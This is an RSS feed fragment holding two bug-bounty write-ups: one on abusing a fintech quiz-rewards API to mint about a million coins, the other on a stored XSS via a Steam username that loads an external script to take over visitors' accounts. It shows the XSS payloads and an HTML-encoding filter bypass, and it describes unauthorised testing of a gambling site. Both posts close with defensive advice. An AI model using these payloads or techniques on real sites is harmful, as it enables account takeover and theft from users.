            <content:encoded><![CDATA[<h3>How I became a millionaire in 3h | Fintech Bug Bounty — Part 1</h3><blockquote>This article is the 1st part of the “<strong>Fintech Bug Bounty</strong>” series.</blockquote><h4>Summary</h4><ul><li><strong>How I became a millionaire in 3h | Fintech Bug Bounty — Part 1</strong></li><li><a href="https://0x4kd.medium.com/graphql-exploitation-techniques-fintech-bug-bounty-part-2-b05b9cb7d64b">GraphQL Exploitation Techniques | Fintech Bug Bounty — Part 2</a></li><li><a href="https://0x4kd.medium.com/running-a-mitm-on-a-google-play-app-fintech-bug-bounty-part-3-82ebdd852d07">Running a MITM on a Google Play App | Fintech Bug Bounty — Part 3</a></li><li>(REDACTED) | Fintech Bug Bounty — Part 4 | <strong>Available on Mar 2023</strong></li><li>(REDACTED) | Fintech Bug Bounty — Part 5 | <strong>Available on Apr 2023</strong></li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/705/1*wSm_jLkZGL25jkK6_w_x8A.jpeg" /></figure><p>Lately, I’ve been doing some pentesting on a <strong>bank</strong>. It’s not like they hired me, but I felt curious about their infrastructure and asked them if I could search for <strong>security vulnerabilities</strong>. They agreed.</p><p>I was not going to spend much time looking at their main webpage because it’s a <strong>WordPress</strong>, and I’m not really used to seeing custom behaviours on it. Most people just install their desired plugins and go live.</p><p>Anyway, I decided to give it a try.</p><h3>A little bit of context</h3><p>It’s common to see new <strong>Fintech</strong> companies appear every single day. This one was created like a year ago, and they don’t have a significant amount of clients.</p><p>They’re trying to build what would be a <strong>Social Network</strong> tied to a <strong>Banking System</strong> (which is actually a brilliant idea).</p><p>If you think about it, having content creators inside your bank is fantastic if you’re trying to teach users how to operate, take care of their earnings, etc. It’s like the Coinbase App News tab, but more personal and direct.</p><h3>Exploiting the vulnerability</h3><p>These guys wanted to give rewards every time a user did a <strong>specific action</strong> (like learning new terms, understanding the market, etc.). So they created video tutorials and <strong>questionnaires</strong> that awarded some special <strong>coins</strong> to everyone who completed them. These coins can later use these coins in exchange for goods and services!</p><p>It may seem a very straightforward feature, but <strong>it didn’t look like it</strong> when I inspected the requests: I couldn’t find any reference to plugins that implemented this feature in the way they were using it.</p><blockquote>This is important because I was not intending to find a <strong>CVE </strong>in a known plugin.</blockquote><p>The first thing that I noticed is that every time a video was played, a request was sent to the server indicating the percentage of the video that’s been seen by the user. I tried changing the <strong>percentage value to 100%</strong>, and the <strong>questionnaire appeared</strong> when the request came back. <em>Cool, I don’t need to look at the videos to fulfil the form.</em></p><p>But guess what: the next request in Burp was a fetch for the questionnaire questions and answers… And it <strong>included</strong> which one was the <strong>correct one</strong> 😅.</p><p>So I just guessed and tried sending a request pretending I had clicked the correct answer, and suddenly <strong>some coins appeared in my wallet</strong>. That’s it!</p><p>Now I needed to <strong>automate</strong> this process to get infinite coins. I didn’t know how many questionnaires they had, so I just went for it and <strong>brute-forced</strong> all the tutorial IDs from 1 to 10000.</p><p>The big surprise was that <strong>every request</strong> that I made <strong>awarded me coins</strong>. Just to double-check, I tried answering questionnaire n.99999999, and it also worked.</p><blockquote>Not sure if this can be considered an <strong>IDOR</strong> since the items don’t really exist, but I basically used this to answer non-existing tutorials.</blockquote><p>I also noticed there was <strong>no throttling</strong> at all. I could send around 1000 requests simultaneously, and <strong>they all went through</strong>.</p><h3>Conclusions</h3><p>I ended up with around <strong>1,000,000 coins</strong> that I could have used for my benefit. Obviously, I didn’t use them: Once the vulnerability was confirmed and fixed, they removed them from my account.</p><p>And when it comes to development, keep this in mind:</p><ul><li>Stream your videos: The backend knows which part of the video is sent to you, so it can assume you’ve looked at it as soon as the duration of the section has passed and mark it as seen. Let the <strong>backend decide</strong> if the user can move to the next page or not.</li><li><strong>Don’t return</strong> information in regard to which is the <strong>right or wrong answer</strong> in a questionnaire. Let the front-end send the answer, and the back-end will let you know whether it’s correct or not.</li><li>Add a <strong>Rate Limit</strong> to your requests. Users shouldn’t be able to send unlimited requests in a short time.</li><li>And for god’s sake, make sure the item you’re receiving <strong>exists</strong> in your database!</li></ul><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=90193c5bd86f" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[(XSS) Account takeover using Steam]]></title>
            <link>https://0x4kd.medium.com/xss-account-takeover-using-steam-32ab9ff2a357?source=rss-881d8775411------2</link>
            <guid isPermaLink="false">https://medium.com/p/32ab9ff2a357</guid>
            <category><![CDATA[security]]></category>
            <category><![CDATA[bug-bounty-tips]]></category>
            <category><![CDATA[bugs]]></category>
            <category><![CDATA[bug-bounty]]></category>
            <category><![CDATA[bounty-hunter]]></category>
            <dc:creator><![CDATA[0x4KD]]></dc:creator>
            <pubDate>Sun, 01 May 2022 23:03:13 GMT</pubDate>
            <atom:updated>2022-05-02T01:33:06.936Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/705/1*Im1lKPeZyu-VSJ_sr1Nohw.png" /></figure><p>This story begins a couple of years ago. I was navigating through a gambling website (which I cannot disclose) when I decided I would search for vulnerabilities on it.</p><p>Usually, this is not a good practice since you don’t have permission to do so. <strong>Getting suited is always a risk</strong>. Anyway, I felt like it could be my lucky day, so I just went for it.</p><h3>Reconnaissance</h3><p>I was unsure what the backend looked like, but I was sure they were using <strong>Vue</strong> on the front end. I’m not a front-end guy, and since Vue makes it very easy for programmers to clean up user inputted text, I decided to start <strong>testing the API</strong> instead of trying to get an XSS.</p><p>Probably I spent a couple of hours getting the site’s endpoints and testing for <strong>SQL injection</strong> on all the available parameters. None of that worked. I remember being pretty mad on the site for not having an account configuration endpoint (it was impossible to change the username, email address, or contact information since they were storing none).</p><p>At this point, it was pretty obvious that the <strong>programmers didn’t trust the users at all</strong>. There wasn’t even a search endpoint. They didn’t want any user input on the website. <br>And that’s when I realized that could be their <strong>weak point</strong>: If they’re not expecting to store any user input data, maybe the frontend guys didn’t even make an effort to clean up the information from the backend side!</p><h3>Stored XSS</h3><p>Since the only way to <strong>log in</strong> was using <strong>Steam</strong>, I went to my Steam account and changed my name to &lt;script&gt;alert()&lt;/script&gt; . I logged out, and when I logged in again: BANG! <strong>Stored XSS</strong>. <br>The page owners were not trusting the users, but Steam names can’t be harmful… Right?</p><p>Cool, huh? Not really. My username was only being shown on the profile page (https://website.com/&lt;profile_id&gt;). Usually, when it comes to companies that are not in Bug Bounty programs, <strong>they will only listen to you</strong> if the bug is a <strong>risk for other users</strong>.</p><p>And, you know, everyone has friends who like rushing. One of mine said:</p><blockquote>“Well, you could send your profile link to a victim.”</blockquote><p>But that was not good enough for me. Do you really want to lower your vulnerability <strong>CVSS</strong> because it <strong>requires</strong> <strong>user interaction</strong>?</p><blockquote>“Now I just need to turn this out into something more dangerous so they reward me”, I said.</blockquote><h3>Domain replacement bypass</h3><p>So I thought I would try <strong>adding an iframe</strong> out of curiosity. I changed my Steam name to &lt;iframe src=&quot;https://mydomain.com&quot; /&gt; and nothing appeared.</p><p><strong>Wait, what?</strong> My domain doesn’t serve any X-Frame-Options header, what the heck is going on? <br>I looked at the code to find out that the content was: &lt;iframe src=&quot;//&quot; /&gt; .<br>They <strong>detected the URL</strong> and removed it…</p><p>Let’s try using <strong>HTML encoding</strong>: &lt;iframe src=&quot;https://mydomain&amp;#46com&quot; /&gt; <br>(&amp;#46<strong> </strong>means .).</p><p><strong>Voilà!</strong> iFrame injected—good news for me.<br>But let’s be realistic: inserting an iframe won’t make the vulnerability more dangerous. It’s been good to discover the programmers are ~somehow~ sanitizing the user input, and now we know we can bypass it, so let’s go back to where we started.</p><h3>Reducing input to increase injected code</h3><p>Nice XSS, but did you know Steam will only allow you to use names that contain less than <strong>32 characters</strong>?</p><p>That’s a pain in the ass because I couldn’t do anything dangerous (like stealing the user cookies, etc.) using only 32 characters. I needed to inject my .js file. Let’s see how that went:</p><p>&lt;script src=&quot;https://mydomain.com/script.js&quot;&gt;&lt;/script&gt;</p><p>Huh, that’s also too many characters. <br>You’re probably about to say: “You could have used an URL Shortener.” <br>Well, you would be right. But my <strong>genius</strong> mind realized that while I was writing the post two years later 😅.</p><p>I ended up buying a new domain (which was shorter than the previous one), renaming the javascript file from script.js to a.js and removing the https: like so:</p><p>&lt;script src=&quot;//ab.dc/a.js&quot;&gt;&lt;/script&gt;</p><p>And hell yeah, that worked.</p><p>They should have had some sort of Content-Security-Policy defined. But since there was none, I could <strong>inject a javascript</strong> file served from my website.</p><h3>Create the risk</h3><p>Everything looked pretty OK except that this was <strong>not affecting any user but me</strong>.</p><p>However, I noticed that the website <strong>showed</strong> the most significant <strong>wins</strong> (along with the player <strong>usernames</strong>) on the main page. There was no way of knowing if that section was also XSS vulnerable, but I decided to try.</p><p>I loaded 50$ into the account and started playing. Eventually, I got a jackpot, and then… That’s right! My username was displayed on the main page. <br><strong>DOM XSS</strong>! The WebSockets connection injected the payload into everyone’s browser.</p><h3>Too many CSRF Tokens?</h3><p>It’s ok to add <strong>CSRF tokens</strong>. No, it’s mandatory to add CSRF tokens, right? <br>Well, in my humble opinion, that’s <strong>not 100% true</strong>.</p><p>Why would you add a CSRF token to a page that <strong>doesn’t have any form</strong>? <br>It doesn’t help at all. And actually, that was the reason why I was able to <strong>perform actions on behalf of other users</strong>.</p><p>Since the page always included the CSRF token in the &lt;head&gt; tag, I retrieved it using my injected script and controlled every<strong> user account </strong>visiting the main page. And there were no forms on it, so it didn’t really need a CSRF token.</p><p>Using the user’s token, I could have been able to <strong>spend all the user’s money</strong> on games they didn’t want to. And that was a <strong>big deal</strong> for the owners of the website.</p><h3>Letting them know</h3><p>Long story short: Once I notified the vulnerabilities, they answered in less than 24h, asking for details and being <strong>super friendly</strong>. They were happy I had contacted them instead of exploiting it, and they awarded a <strong>big bounty</strong>.</p><p>But how could they have avoided all this mess?</p><ul><li>Do not trust anyone, not even <strong>Steam</strong>. Always <strong>sanitize</strong> the input data.</li><li>Add headers for Content-Security-Policy on your website. I get it, <strong>sometimes it’s</strong> <strong>necessary </strong>to <strong>include inline JS </strong>code, but you can always sign it and include it in the CSP using thenonce attribute.</li><li>Do not add <strong>CSRF tokens</strong> everywhere. Include them only in pages where it is intended to be used. (And yeah, I know that I could have stolen the user cookies and used their session to navigate into a page where I could find the CSRF token, but at least this adds another layer of complexity).</li></ul><p><strong>Don’t give up!</strong> There will always be a way to go further and make you eligible for the best rewards.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=32ab9ff2a357" width="1" height="1" alt="">]]></content:encoded>
        </item>
    </channel>
</rss>